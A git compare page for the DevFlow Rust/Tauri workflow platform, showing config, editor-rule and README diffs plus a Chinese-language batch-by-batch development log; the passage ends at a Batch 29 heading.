Compare commits
96 Commits
ad1821bc14
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| e9e3578d26 | |||
| 42efb31bbf | |||
| 0dfaeb0f5b | |||
| aa0701a2ea | |||
| 89cfbc7499 | |||
| 3d8b755229 | |||
| 249b3b9ea8 | |||
| eee0f06e1a | |||
| 46246880b3 | |||
| b18740405c | |||
| d99a65f034 | |||
| 8fa3a93eec | |||
| 3f22fd3673 | |||
| 34944df764 | |||
| c3b47b5771 | |||
| acf0ed091d | |||
| 54ffc868b2 | |||
| d5b0459a8a | |||
| f1fb8655c3 | |||
| d10d7ff330 | |||
| 61d3e9c148 | |||
| 840949ad05 | |||
| 3e93a2cd70 | |||
| 6e44878021 | |||
| 27b4268acb | |||
| f40287bb00 | |||
| 1d580dccc3 | |||
| 9947e6c1fe | |||
| 3c9077b043 | |||
| 4483358f6b | |||
| ae6d3d0043 | |||
| f4fc0feff5 | |||
| 6833792de2 | |||
| af2e085bea | |||
| 583058acd6 | |||
| f04d47b09d | |||
| fa410e6843 | |||
| a9ee9b1f74 | |||
| 0a65ea2c5a | |||
| 91d80841ea | |||
| c89742cb9a | |||
| 2af24f0db8 | |||
| 535525c2f6 | |||
| 3abdfb489f | |||
| 2c2b2d710e | |||
| 6771d396f0 | |||
| 0338210ba2 | |||
| 36ea090d9b | |||
| 89912155a6 | |||
| dd0e059365 | |||
| bce2fea4e5 | |||
| 3758bea0b5 | |||
| 3c2fa91fc6 | |||
| 78ef5dcc44 | |||
| 976ce29ad9 | |||
| 4dac9fe5f1 | |||
| 76aec62d36 | |||
| 27eb0a9f6b | |||
| 948d6e644b | |||
| aa4d5213eb | |||
| 2780f6affa | |||
| 773ebb6ef6 | |||
| 15eaa0c637 | |||
| f5f101d88a | |||
| b19b0f3679 | |||
| abc6880936 | |||
| 6b131f3dc1 | |||
| 78bd8d4344 | |||
| 093fe172f8 | |||
| ff3f153d45 | |||
| dfed588b54 | |||
| 63936e3016 | |||
| 7a2a2e13a2 | |||
| 49c6f3360a | |||
| 9b6353c561 | |||
| 0cfea6da22 | |||
| 7b5b62d3ae | |||
| 50aad375eb | |||
| b72df78462 | |||
| 3c18dea45b | |||
| 8d18918e39 | |||
| cb7e1fce82 | |||
| cc3ef5bc1d | |||
| 996f1d9e5f | |||
| 696e34407c | |||
| 19b647e650 | |||
| 10629f88e8 | |||
| b5e159f190 | |||
| 55542abf41 | |||
| 3fac0a618d | |||
| 9839935782 | |||
| 4a396f4f88 | |||
| 7adaf97377 | |||
| 6ffcba7e4d | |||
| b157bc9077 | |||
| f776336eb1 |
@@ -1,5 +1,12 @@
|
||||
# musl linux 交叉编译(Windows 主机无 cc/musl-gcc,用 rust-lld self-contained link)
|
||||
# df-relay 云端部署:本地交叉产 static linux binary → scp 测试机普通运行
|
||||
#
|
||||
# ⚠️ 默认不要跑交叉编译,产物体积大且会污染 target/ 影响日常 build/rust-analyzer 性能。
|
||||
# 需要部署 df-relay 时再显式执行,并把产物隔离到独立 target dir:
|
||||
#
|
||||
# CARGO_TARGET_DIR=target-musl cargo build --release --target x86_64-unknown-linux-musl -p df-relay
|
||||
#
|
||||
# 这样 musl 产物落到 target-musl/(已 gitignore),与主 target/ 完全隔离。
|
||||
[target.x86_64-unknown-linux-musl]
|
||||
linker = "rust-lld"
|
||||
rustflags = ["-C", "link-self-contained=y"]
|
||||
|
||||
23
.gitignore
vendored
23
.gitignore
vendored
@@ -25,6 +25,7 @@ unpackage/
|
||||
|
||||
# Rust / Cargo
|
||||
target/
|
||||
target-musl/ # df-relay 交叉编译产物隔离目录(见 .cargo/config.toml)
|
||||
!Cargo.lock
|
||||
|
||||
# Tauri
|
||||
@@ -59,6 +60,28 @@ tmp/
|
||||
# AI 编排脚本(Claude Code Workflow 临时产物,非产品代码)
|
||||
workflows/
|
||||
|
||||
# 临时分析脚本(团队分析/报告生成,非产品代码根目录级)
|
||||
/analysis_*.txt
|
||||
/analysis_*.py
|
||||
/core_domains.txt
|
||||
/core_domains.py
|
||||
/final_report.txt
|
||||
/grand_output.txt
|
||||
/im_live_verify.txt
|
||||
/liang_deep.py
|
||||
/liangxianyou_deep.txt
|
||||
/member_profiles.py
|
||||
/read_all.py
|
||||
/report_p2.txt
|
||||
/report_wall.txt
|
||||
/team_analysis.py
|
||||
/team_deep_analysis.py
|
||||
/team_member_profiles.txt
|
||||
/team_report_final.txt
|
||||
/tmp_*.py
|
||||
/tmp_*.txt
|
||||
/verify_im_live*.py
|
||||
|
||||
# MCP/SQLite 测试库(mcp_test2 --db 残留)
|
||||
devflow-dev.db
|
||||
devflow-dev.db-shm
|
||||
|
||||
48
.zed/rules/commit.rules.md
Normal file
48
.zed/rules/commit.rules.md
Normal file
@@ -0,0 +1,48 @@
|
||||
# DevFlow 提交规范
|
||||
|
||||
## 提交注释格式
|
||||
|
||||
```
|
||||
<动词>: <简短描述>
|
||||
|
||||
<详细说明(可选,仅在需要补充上下文时)>
|
||||
```
|
||||
|
||||
## 动词词表
|
||||
|
||||
| 动词 | 使用场景 |
|
||||
|------|---------|
|
||||
| `新增` | 新功能、新特性、新文件 |
|
||||
| `修复` | Bug 修复、问题修正 |
|
||||
| `更新` | 文档更新、配置变更、依赖升级、非功能性的已有内容修改 |
|
||||
| `重构` | 代码重构(行为不变的结构调整) |
|
||||
| `删除` | 移除功能、删除文件 |
|
||||
| `优化` | 性能优化、体验改进 |
|
||||
| `合并` | 分支合并 |
|
||||
|
||||
## 规范要求
|
||||
|
||||
1. **动词 + 冒号 + 空格**:`修复: 审批按钮永久转圈`
|
||||
2. **主题行不超过 72 字符**
|
||||
3. **主语用中文**,描述清楚改动内容
|
||||
4. **不要用内部代号**:禁止 Batch/P1/P2/L1/F-XX 等代号
|
||||
5. **不要用分隔线**:禁止 `---` 或 `===` 等装饰线
|
||||
6. **不要写无意义提交**:如"更新"、"修复"、"提交"等无法看出内容的单字提交
|
||||
7. **改动较多的提交**:主题行概括后,空一行用列表展开具体条目
|
||||
8. **文档和代码合并提交**:文档更新和对应代码改动放在同一个提交中,不分散
|
||||
|
||||
## 示例
|
||||
|
||||
```
|
||||
修复: 审批按钮永久转圈和等待计数不停
|
||||
```
|
||||
|
||||
```
|
||||
新增: 文件浏览器增强(窗口分离/Git 变更/行号/Diff/分页提交历史)
|
||||
|
||||
- 窗口分离: FileExplorer 可弹出独立 Tauri 窗口
|
||||
- 行号显示: 文件预览左侧显示行号列
|
||||
- Diff 视图: 有 Git 变更的文件可切换 diff 红绿视图
|
||||
- 提交详情: 点击提交查看变更文件列表及文件级 diff
|
||||
- 中文编码修复: git 命令注入 LC_ALL 环境变量
|
||||
```
|
||||
29
.zed/rules/development.rules.md
Normal file
29
.zed/rules/development.rules.md
Normal file
@@ -0,0 +1,29 @@
|
||||
# DevFlow 开发规则
|
||||
|
||||
## 技术栈
|
||||
|
||||
- 桌面端: Tauri v2 + Vue 3 + TypeScript + Pinia
|
||||
- 后端: Rust Workspace (8 crate) / SQLite
|
||||
- 包管理: bun (前端) / cargo (Rust)
|
||||
- 路径: `E:/wk-lab/devflow`
|
||||
|
||||
## 架构原则
|
||||
|
||||
1. **治本不治标**:修复问题时找到根因,不做表面补丁
|
||||
2. **DRY 原则**:不重复代码,抽象出可复用逻辑
|
||||
3. **长远考虑**:不追求局部最优,考虑整体架构演进
|
||||
4. **修改收敛**:同类改动合并到一个批次提交,不零散提交
|
||||
|
||||
## 代码规范
|
||||
|
||||
1. **Rust 后端**:提交前运行 `cd src-tauri && cargo check`
|
||||
2. **前端 TypeScript/Vue**:提交前运行 `npx vue-tsc --noEmit`
|
||||
3. **完整构建**:提交前运行 `npx vite build`(验证构建不报错)
|
||||
4. **TypeScript 文件名**:camelCase(`fileExplorer.ts`)
|
||||
5. **Vue 组件文件名**:PascalCase(`FileExplorer.vue`)
|
||||
|
||||
## i18n
|
||||
|
||||
- 中英文双语言同步:`src/i18n/en/` 和 `src/i18n/zh-CN/`
|
||||
- 新增组件时同时添加对应语言的翻译文件
|
||||
- 国际化文件自动聚合(`src/i18n/*/index.ts` 自动导入所有模块文件)
|
||||
64
.zed/settings.json
Normal file
64
.zed/settings.json
Normal file
@@ -0,0 +1,64 @@
|
||||
{
|
||||
// 项目级 Zed 配置:优化 rust-analyzer 性能
|
||||
//
|
||||
// 背景:本 workspace 含 src-tauri + 7 个 df-* crate,
|
||||
// flycheck 单次产出 600+ 行 artifact JSON,Zed 解析+渲染会冻结 UI。
|
||||
// 核心策略:关掉保存即 check、限定 check 范围、隔离 target 目录。
|
||||
|
||||
"lsp": {
|
||||
"rust-analyzer": {
|
||||
"initialization_options": {
|
||||
"cargo": {
|
||||
"features": [], // 不编 default features 之外的重头
|
||||
"allTargets": false, // 只为 host target 解析,跳过 musl/交叉
|
||||
"targetDir": null, // 留空用 cargo 默认,避免双写
|
||||
"buildScripts": {
|
||||
"enable": true,
|
||||
"rerun": "on-save"
|
||||
}
|
||||
},
|
||||
"check": {
|
||||
"onSave": false, // ★ 关键!关闭保存即 check(Zed 卡死主因)
|
||||
"workspace": false, // 即便手动 check 也只查当前 crate
|
||||
"command": "check", // 用 cargo check(非 clippy),首次开销低
|
||||
"features": [],
|
||||
"allTargets": false
|
||||
},
|
||||
"diagnostics": {
|
||||
"enable": true, // 保留 rust-analyzer 自身诊断
|
||||
"experimental": {
|
||||
"enable": false
|
||||
}
|
||||
},
|
||||
"procMacro": {
|
||||
"enable": true, // 必须开,否则 tauri::generate_context 等会报红
|
||||
"attributes": {
|
||||
"enable": true
|
||||
}
|
||||
},
|
||||
"workspace": {
|
||||
"symbol": {
|
||||
"search": {
|
||||
"kind": "only_types",
|
||||
"limit": 64
|
||||
}
|
||||
}
|
||||
},
|
||||
"completion": {
|
||||
"callable": {
|
||||
"snippets": "fill_arguments"
|
||||
},
|
||||
"fullFunction": {
|
||||
"enable": false
|
||||
}
|
||||
},
|
||||
"interpret": {
|
||||
"tests": false
|
||||
},
|
||||
"files": {
|
||||
"excludeDirs": [".cargo", "target", "target-musl", "node_modules", "dist", ".zed"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
# DevFlow — 产研全流程工作流平台
|
||||
|
||||
> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: 设计阶段
|
||||
> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: Phase 2 本地优先开发流程验证
|
||||
|
||||
## 一、项目定位
|
||||
|
||||
@@ -155,7 +155,7 @@ DevFlow 的终极交互模型是 **AI 驱动 (AI Working)**:**AI 是系统的
|
||||
devflow/
|
||||
├── Cargo.toml # Workspace 根
|
||||
├── crates/
|
||||
│ ├── df-core/ # 核心类型、错误、常量、事件
|
||||
│ ├── df-types/ # 核心类型、错误、常量、事件、augmentation
|
||||
│ ├── df-workflow/ # 工作流 DAG 引擎 (核心)
|
||||
│ ├── df-nodes/ # 内置节点集合 (AI/Script/Human)
|
||||
│ ├── df-ai/ # AI 编排层 (Multi-Provider/Coordinator)
|
||||
@@ -320,8 +320,9 @@ pub struct Decision {
|
||||
|
||||
- **LlmProvider trait**:统一接口,各模型实现(`provider.rs`)✅
|
||||
- **ModelRouter**:按任务类型路由到最优模型 + 降级链 — ❌ 已删(R-PD-7),模型选择改由调用方在 `LlmProvider` 实现间直接指定
|
||||
- **AgentCoordinator**:多 Agent 协作(Planner/Coder/Reviewer/Fixer)— ⚠️ 骨架空壳(`coordinator.rs`,仅单元结构体 + 日志,未实现实际协调)
|
||||
- **ContextManager**:Token 预算管理(`context.rs`,完整实现)✅
|
||||
- **AgentCoordinator**:多 Agent 协作(Plan DAG 拆解 + JoinSet 层内并行 + Token 预算池 + Reviewer 仲裁) — ✅ 已实现
|
||||
- **Git Worktree 隔离**:子 Agent 文件隔离(git worktree + 独立分支) — ✅ 已实现
|
||||
- **ContextManager**:Token 预算管理(`context/mod.rs`,拆分为 sanitize/manager_tests 子模块)✅
|
||||
- **ToolRegistry**:工具注册(`ai_tools.rs`,供 Agent 调用)✅
|
||||
|
||||
### 5.5 内置节点 (df-nodes)
|
||||
@@ -331,13 +332,13 @@ pub struct Decision {
|
||||
| AINode | 调用 LLM,支持流式输出、工具调用 | ✅ 已实现 |
|
||||
| ScriptNode | Shell/脚本执行 | ✅ 已实现 |
|
||||
| HumanNode | 人工审批/确认 (阻塞) | ✅ 已实现 |
|
||||
| DockerNode | Docker 容器操作 | ❌ 未实现 |
|
||||
| GitNode | Git 操作 (libgit2) | ❌ 未实现 |
|
||||
| NotifyNode | 通知 (桌面/飞书/Webhook) | ❌ 未实现 |
|
||||
| HTTPNode | HTTP 请求 | ❌ 未实现 |
|
||||
| SubflowNode | 嵌套子工作流 | ❌ 未实现 |
|
||||
| GitNode | Git 操作(branch/checkout/commit/merge/push/status/log) | ✅ 已实现 |
|
||||
| HTTPNode | HTTP 请求(GET/POST/PUT/DELETE) | ✅ 已实现 |
|
||||
| NotifyNode | 通知(桌面/Webhook) | ✅ 已实现 |
|
||||
| SubflowNode | 嵌套子工作流(深度限制防递归) | ✅ 已实现 |
|
||||
| DockerNode | Docker 容器内构建/测试(环境检测+授权) | ✅ 已实现 |
|
||||
|
||||
> `crates/df-nodes/src/` 实际仅 ai_node / script_node / human_node 3 文件(Docker/Git/Notify/HTTP/Subflow 为设计预留,尚未实现)。详见 [df-nodes 模块文档](docs/03-模块文档/df-nodes-节点集合-2026-06-12.md)。
|
||||
> `crates/df-nodes/src/` 含 ai_node / script_node / human_node / git_node / http_node / notify_node / subflow_node / docker_node 8 文件(全部已实现)。
|
||||
|
||||
## 六、数据模型
|
||||
|
||||
@@ -552,7 +553,7 @@ CREATE TABLE app_settings (
|
||||
## 八、Phase 规划
|
||||
|
||||
### Phase 1 — 引擎骨架 (4-6 周)
|
||||
- df-core + df-workflow (DAG + Node trait + Executor)
|
||||
- df-types + df-workflow (DAG + Node trait + Executor)
|
||||
- df-storage (SQLite 基础表)
|
||||
- df-execute (Shell 执行)
|
||||
- 最小前端:项目列表 + 工作流执行日志
|
||||
|
||||
553
Batch.md
Normal file
553
Batch.md
Normal file
@@ -0,0 +1,553 @@
|
||||
# DevFlow 批次推进记录
|
||||
|
||||
> 记录每个批次的提交 hash、改动内容和交付价值。
|
||||
> 最后更新: 2026-07-02 | 最新提交: `4624688`
|
||||
|
||||
---
|
||||
|
||||
## Batch 1 — 审批超时后端兜底
|
||||
|
||||
- **提交**: `b923d70`(后重写为 `9dd5a5a`)
|
||||
- **内容**:
|
||||
- 新增 `agentic/approval_timeout.rs`,在审批恢复入口检测超时,超时自动取消并写入审计
|
||||
- 待审批记录新增创建时刻字段,用于超时判定
|
||||
- 应用启动时从设置恢复超时配置(默认 15 分钟,0 为禁用)
|
||||
- 新增读写超时配置的接口,设置页可改
|
||||
- 与前端共用同一个配置项,保证单一真相源
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 2 — 工具卡片拆分核验
|
||||
|
||||
- **提交**: `e95a5cd`(后重写为 `45fc493`)
|
||||
- **内容**:
|
||||
- 核验发现工具卡片拆分任务实际已完成,文档标记滞后
|
||||
- ToolCard.vue 从 1527 行降至 373 行
|
||||
- 审批状态机独立为 useToolApproval.ts(220 行)
|
||||
- 头部逻辑、渲染逻辑、通用工具函数各自独立
|
||||
- 大型文件拆分三项全部完成(主聊天组件/命令注册/通用 CRUD)
|
||||
- **验证**: 文档核验,无代码改动
|
||||
|
||||
---
|
||||
|
||||
## Batch 3 — 条件表达式 UI 翻译补齐
|
||||
|
||||
- **提交**: `e460e8d`(后重写为 `d79c816`)
|
||||
- **内容**:
|
||||
- 工作流条件表达式引擎和执行器集成早已完成
|
||||
- 前端边条件编辑入口已存在,但翻译缺失(用中文兜底)
|
||||
- 补齐中英文翻译(工作流结构标题/层标签/空态/边条件编辑器)
|
||||
- 核验确认条件引擎全部链路均已落地
|
||||
- **验证**: vue-tsc 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 4 — 知识提炼切读消息表
|
||||
|
||||
- **提交**: `6aac7ef`(后重写为 `f57c37e`)
|
||||
- **内容**:
|
||||
- 知识提炼是最后一个仍读旧消息 JSON 列的路径
|
||||
- 改为优先读消息表,表空时回退旧 JSON(老库兼容)
|
||||
- 复用既有的记录转消息映射函数,与其他读路径同源
|
||||
- 至此消息存储拆分全部完成
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 5 — 关闭已完成待办项
|
||||
|
||||
- **提交**: `59b7188`(后重写为 `694f24f`)
|
||||
- **内容**:
|
||||
- 工具卡片分组标题增强(文件路径摘要展示)已落地
|
||||
- 重试持锁问题核验无影响(多会话改造后全局锁已移除)
|
||||
- 对抗式评估批量命令暂不做(单项已接入,批量无消费方)
|
||||
- 残留诊断代码已清理(无硬编码绝对路径)
|
||||
- 工程内路径授权政策确认为白名单制
|
||||
- **验证**: 文档核验
|
||||
|
||||
---
|
||||
|
||||
## Batch 6 — 应用状态拆分 + 事件分发统一 + 路径授权治本
|
||||
|
||||
- **提交**: `996f1d9`
|
||||
- **内容**:
|
||||
- **状态文件拆分**: 1416 行单文件 → 按职责分模块(授权白名单/知识库配置/并发控制)
|
||||
- **事件分发器统一**: 5 类生命周期事件纳入主事件联合类型,删除第二监听器,一个事件源一个监听器一个分发器
|
||||
- **路径授权去硬编码**: 不再硬塞编译期路径到白名单,工程根授权靠项目绑定目录 + 设置页配置
|
||||
- **补丁**: `cc3ef5b` — 修复设置页面崩溃(模块循环依赖导致初始化失败)
|
||||
- **验证**: cargo check + vue-tsc 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 7 — 小程序配置持久化与心跳闭环
|
||||
|
||||
- **提交**: `cb7e1fc`
|
||||
- **内容**:
|
||||
- **配置持久化**: 运行时配置接入 storage,懒加载恢复,新增重置函数
|
||||
- **心跳 pong 闭环**: 中继服务识别小程序心跳 ping 直接回 pong(不经桌面端透传),小程序看门狗据此判活
|
||||
- **文档同步**: 关闭条件引擎/streaming per-conv/workspace_root 三项已完成的待决策
|
||||
- **验证**: cargo check(devflow + df-relay)通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 8 — 消息分页懒加载与事件总线空转优化
|
||||
|
||||
- **提交**: `3c18dea`
|
||||
- **内容**:
|
||||
- **消息分页**: 消息仓库新增分页查询方法(从尾部取最近 N 条,支持游标),切换对话返回最近 50 条 + 游标,新增加载更多接口
|
||||
- **事件总线优化**: 发布事件前先检查订阅者数量,无订阅者跳过序列化(消除空转开销)
|
||||
- **核验关闭**: 对话上下文透明化三项均已落地(目标可见/项目增强预览/完整上下文面板)
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 9 — 项目多工程系统(数据层)
|
||||
|
||||
- **提交**: `b72df78`
|
||||
- **内容**:
|
||||
- **数据层**: project_modules 表(V34 迁移)+ ProjectModuleRepo 完整 CRUD
|
||||
- **后端接口**: 工程增删改查 + Git 状态查询(实时跑 git 命令返回分支/改动/提交,10s 超时)
|
||||
- **创建项目适配**: 新建项目时自动创建一个工程(目录=绑定路径,技术栈=探测结果)
|
||||
- **AI 工具**: list_project_modules(AI 了解项目工程结构)
|
||||
- **设计文档**: 新增工程系统设计方案
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 10 — 项目文件浏览器(前端 UI)
|
||||
|
||||
- **提交**: `50aad37`
|
||||
- **内容**:
|
||||
- **后端接口**: 文件树查询(列目录 + Git 状态合并 + 噪音过滤 + 路径穿越防御)+ 文件读取(文本/图片/二进制,1MB 上限)
|
||||
- **文件树组件**: 递归树形展示,懒加载子目录,Git 状态标记(橙=修改/绿=新增/灰=未跟踪)
|
||||
- **文件预览组件**: 代码文本/图片/二进制三分支,加载状态
|
||||
- **主容器**: 工程选择(单工程隐藏)+ 面包屑导航 + 刷新
|
||||
- **集成**: 项目详情页新增"文件"Tab
|
||||
- **国际化**: 中英文同步
|
||||
- **验证**: cargo check + vue-tsc 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 11 — Git 只读 AI 工具
|
||||
|
||||
- **提交**: `7b5b62d`
|
||||
- **内容**:
|
||||
- **git_status**(Low 自动执行): 工作区状态结构化(分支 + 改动文件列表 + 状态标记)
|
||||
- **git_diff**(Low): 改动详情(统计 + patch 截断到 8000 字符防 token 爆)
|
||||
- **git_log**(Low): 提交历史结构化(哈希/作者/消息/日期)
|
||||
- 所有 git 命令在工程目录执行,10s 超时,无 Git 仓库返回空状态
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 12 — Git 写操作 AI 工具
|
||||
|
||||
- **提交**: `0cfea6d`
|
||||
- **内容**:
|
||||
- **git_commit**(Medium 审批): 提交工作区改动,提交前检查敏感文件(.env/.key/.pem)
|
||||
- **git_branch**(Medium 审批): 分支列表/创建/切换
|
||||
- **git_merge**(High 审批): 合并分支,自动检测冲突返回冲突文件列表
|
||||
- 安全边界: 禁止 push / force / reset --hard
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
---
|
||||
|
||||
## 架构设计文档状态同步
|
||||
|
||||
- **提交**: `8d18918`
|
||||
- **内容**: 9 份设计文档状态批量更新(从"待实施"改为"已落地"),1 份归档(规格契约自检被其他机制覆盖)
|
||||
|
||||
---
|
||||
|
||||
## 提交注释规范重写
|
||||
|
||||
- **内容**: Batch 1-5 的提交注释经 filter-branch 重写,消除内部代号(Batch/P1/P2/L1/F-09 等),统一为"两字动词 + 冒号"格式(新增/修复/更新)
|
||||
|
||||
---
|
||||
|
||||
## Batch 13 — 文件浏览器增强(行号/图标/Diff/Git 变更面板/窗口分离)
|
||||
|
||||
- **提交**: `c6df455`
|
||||
- **内容**:
|
||||
- **行号显示**: 文件预览左侧行号列
|
||||
- **后缀图标**: 20+ 文件类型彩色 SVG 图标(rs/ts/js/vue/css/html/json/md/sh/sql 等)
|
||||
- **Diff 视图**: 有 Git 变更的文件可切换内容/Diff 红绿视图
|
||||
- **Git 变更面板**: 文件树侧栏切换至变更视图,变更文件列表(按目录缩进分组)+提交历史(分页 50 条)
|
||||
- **提交详情**: 点击提交行展开变更文件列表,点文件查看该文件 diff
|
||||
- **提交时间显示**: 相对时间(刚刚/N分钟前)+超过 30 天显示具体日期
|
||||
- **窗口分离**: FileExplorer 可弹出独立 Tauri 窗口
|
||||
- **中文编码修复**: git 命令注入 LANG/LC_ALL UTF-8 环境变量,修复中文乱码
|
||||
- **多工程管理 UI**: 工具栏添加工程按钮+弹窗表单
|
||||
- **文件变更自动刷新**: write_file/patch_file 触发 df-data-changed 事件,AI 写入后自动刷新
|
||||
- **面包屑不丢预览**: 面包屑导航时保留当前预览文件
|
||||
- **刷新保留选中文件**: 只清树缓存不清预览
|
||||
- **自适应布局**: 弹性 flex 布局,窄窗口自适应
|
||||
- **审批超时 130s->30s**: 按钮级 loading 超时缩短
|
||||
- **阶段进度条隐藏**: 装饰性元素,待接入真实状态机后启用
|
||||
- **验证**: cargo check + vue-tsc + vite build 通过
|
||||
|
||||
---
|
||||
|
||||
## Batch 14 — 文件浏览器收尾
|
||||
|
||||
- **提交**: `53e6442`
|
||||
- **内容**:
|
||||
- 提交之前未提交的滚动条与布局修复
|
||||
- 移除阶段进度条死代码(模板+CSS+常量)
|
||||
- 文件预览空状态加图标引导
|
||||
- 变更视图加载骨架屏
|
||||
- 工程选择器改为自定义下拉(显示工程路径)
|
||||
|
||||
---
|
||||
|
||||
## Batch 15 — 多工程管理
|
||||
|
||||
- **提交**: `d8d6226`
|
||||
- **内容**:
|
||||
- 工程编辑入口:工具栏编辑按钮+弹窗(名称/路径/Git 地址)
|
||||
- 工程删除二次确认:防误删
|
||||
- 记住上次选中工程:localStorage 持久化
|
||||
- 自动扫描子仓库:下拉菜单加扫描入口,发现 .git 子目录自动建工程
|
||||
|
||||
---
|
||||
|
||||
## Batch 16 — Git 提交历史作者
|
||||
|
||||
- **提交**: `b19b0f3`
|
||||
- **内容**:
|
||||
- 后端 git log format 加 %an 作者名(状态查询+分页查询)
|
||||
- 提交列表每行显示 hash/作者/主题/时间
|
||||
- 提交详情头部补充作者显示
|
||||
- 分支切换按钮占位(后续接入分支列表 IPC)
|
||||
|
||||
---
|
||||
|
||||
## 渲染崩溃修复
|
||||
|
||||
- **提交**: `bce2fea`
|
||||
- **内容**:
|
||||
- AdvancedSection clampApprovalTimeout 常量移到 reactive 之前(打包后 const 初始化顺序 TDZ)
|
||||
- @/i18n 去掉对 @/stores/appSettings 的 import,改直读 localStorage
|
||||
- Tauri capability 加 ai-detached-* / fe-detached-* 通配符(分离窗口 listen 权限)
|
||||
|
||||
---
|
||||
|
||||
## Batch 17 — Git 能力闭环
|
||||
|
||||
- **提交**: `15eaa0c`
|
||||
- **内容**:
|
||||
- Diff 行号解析:解析 @@ -a,b +c,d @@ 头,计算旧/新行号(原恒空字符串)
|
||||
- 提交详情增强:显示父提交哈希/作者/日期/完整消息
|
||||
- 分支只读展示:list_branches IPC + 变更面板顶部下拉查看分支
|
||||
- AI 工具写入后自动跳转变更视图:监听 df-data-changed entity=file 切 Tab + 刷新
|
||||
|
||||
---
|
||||
|
||||
## Batch 18 — 小程序审批超时计时器
|
||||
|
||||
- **提交**: `773ebb6`
|
||||
- **内容**:
|
||||
- 对齐桌面端 aiShared.startApprovalTimer,补齐小程序缺失的审批超时机制
|
||||
- AiApprovalRequired/AiDirAuthRequired 触发 startApprovalTimer(每条独立计时)
|
||||
- AiToolCallCompleted/AiApprovalResult 触发 clearApprovalTimer(审批落定)
|
||||
- 切会话/新建/断连/重连/终态触发 clearAllApprovalTimers(防跨会话污染)
|
||||
- 超时自动拒绝(approve(id,false))+ toast 提示用户
|
||||
|
||||
---
|
||||
|
||||
## Batch 19 — 任务管理 UX 重构 + 项目卡片工程数
|
||||
|
||||
- **提交**: `2780f6a` + `aa4d521`
|
||||
- **内容**:
|
||||
- 筛选改下拉:项目/状态从多按钮改为 select,节省垂直空间
|
||||
- 新增搜索框:标题/描述关键词搜索,300ms 防抖
|
||||
- 新增排序选择器:更新/创建时间/优先级/状态
|
||||
- 分组可折叠:点击组头切换,记忆状态到 localStorage
|
||||
- 分页默认开启:pageSize=20(原 0=全量)
|
||||
- 紧凑布局:任务行密度优化,显示总条数
|
||||
- 空状态引导:图标 + 新建按钮
|
||||
- 模态框样式收敛:去内联 style
|
||||
- 桌面快捷键:Ctrl+N 新建,Ctrl+F 聚焦搜索
|
||||
- 项目卡片显示工程数(异步拉取 module 列表)
|
||||
|
||||
---
|
||||
|
||||
## Batch 20 — coordinator.rs 空壳删除
|
||||
|
||||
- **提交**: `948d6e6`
|
||||
- **内容**:
|
||||
- 删除 crates/df-ai/src/coordinator.rs(零调用的 deprecated 空壳)
|
||||
- lib.rs 移除 pub mod coordinator 声明
|
||||
- 消除编译 deprecated 警告
|
||||
|
||||
---
|
||||
|
||||
## 任务行快捷操作菜单
|
||||
|
||||
- **提交**: `27eb0a9`
|
||||
- **内容**:
|
||||
- 任务行 hover 显示齿轮按钮,点击展开快捷菜单
|
||||
- 快捷改状态(6 态子菜单)/改优先级(4 级)/删除(二次确认)
|
||||
- 点击外部自动关闭菜单
|
||||
|
||||
---
|
||||
|
||||
## stores/ai TDZ 防御
|
||||
|
||||
- **提交**: `76aec62`
|
||||
- **内容**:
|
||||
- __bindMessages 包装 try/catch,aiShared 未就绪时延迟到微任务重试
|
||||
|
||||
---
|
||||
|
||||
## Plan DAG 分层执行器
|
||||
|
||||
- **提交**: `4dac9fe`
|
||||
- **内容**:
|
||||
- PlanExecutor 按 Plan::to_layers 层间串行/层内并行调度子任务
|
||||
- feature flag 门控(默认关,未接入主 loop)
|
||||
- 3 个单元测试覆盖:线性链/并行层/失败容错
|
||||
|
||||
---
|
||||
|
||||
## 变更区完善
|
||||
|
||||
- **提交**: `78ef5dc`
|
||||
- **内容**:
|
||||
- 变更文件选中后展开 Diff 红绿预览
|
||||
- 分支切换按钮实现只读列表弹窗(拉取分支列表 + 当前分支标记)
|
||||
|
||||
---
|
||||
|
||||
## 任务列表后端真分页
|
||||
|
||||
- **提交**: `3c2fa91`
|
||||
- **内容**:
|
||||
- 后端新增 count_by_query 方法(复用 list_by_query 的 WHERE 逻辑)
|
||||
- 前端 buildTaskQuery 传 limit/offset 到后端(SQL 下推分页)
|
||||
- 去除前端客户端 slice(后端已分页,直接分组)
|
||||
|
||||
---
|
||||
|
||||
## Batch 25 — 工程依赖图数据层
|
||||
|
||||
- **提交**: `3758bea`
|
||||
- **内容**:
|
||||
- 后端 module_dependencies 表(V35 迁移)+ ModuleDependencyRepo CRUD
|
||||
- IPC:add/remove/list_module_dependencies
|
||||
- 前端 API 封装 + DependencyGraph 接入真实边数据
|
||||
- 依赖类型颜色区分(library/api/mq/shared/custom)
|
||||
- 小地图插件(MiniMap)大图概览导航
|
||||
- 点击节点跳转项目详情
|
||||
|
||||
---
|
||||
|
||||
## Batch 26 — 依赖图增强
|
||||
|
||||
- **提交**: `dd0e059`
|
||||
- **内容**:
|
||||
- 添加依赖入口:工具栏"+ 依赖"按钮,弹窗选择源/目标工程 + 依赖类型
|
||||
- dagre 层次布局替换网格布局(LR 方向,自动排布工程节点)
|
||||
- 依赖边按类型着色
|
||||
|
||||
---
|
||||
|
||||
## Batch 28 — 架构债收尾
|
||||
|
||||
- **提交**: `8991215`
|
||||
- **内容**:
|
||||
- ScriptNode 白/黑名单注释清理(标注实际读取方式)
|
||||
- 双监听器核查结论:df-data-changed 多监听器是正常 pub-sub,非 bug
|
||||
|
||||
---
|
||||
|
||||
## Batch 29 — 环形检测 + PNG 导出 + 真实总数
|
||||
|
||||
- **提交**: `36ea090`
|
||||
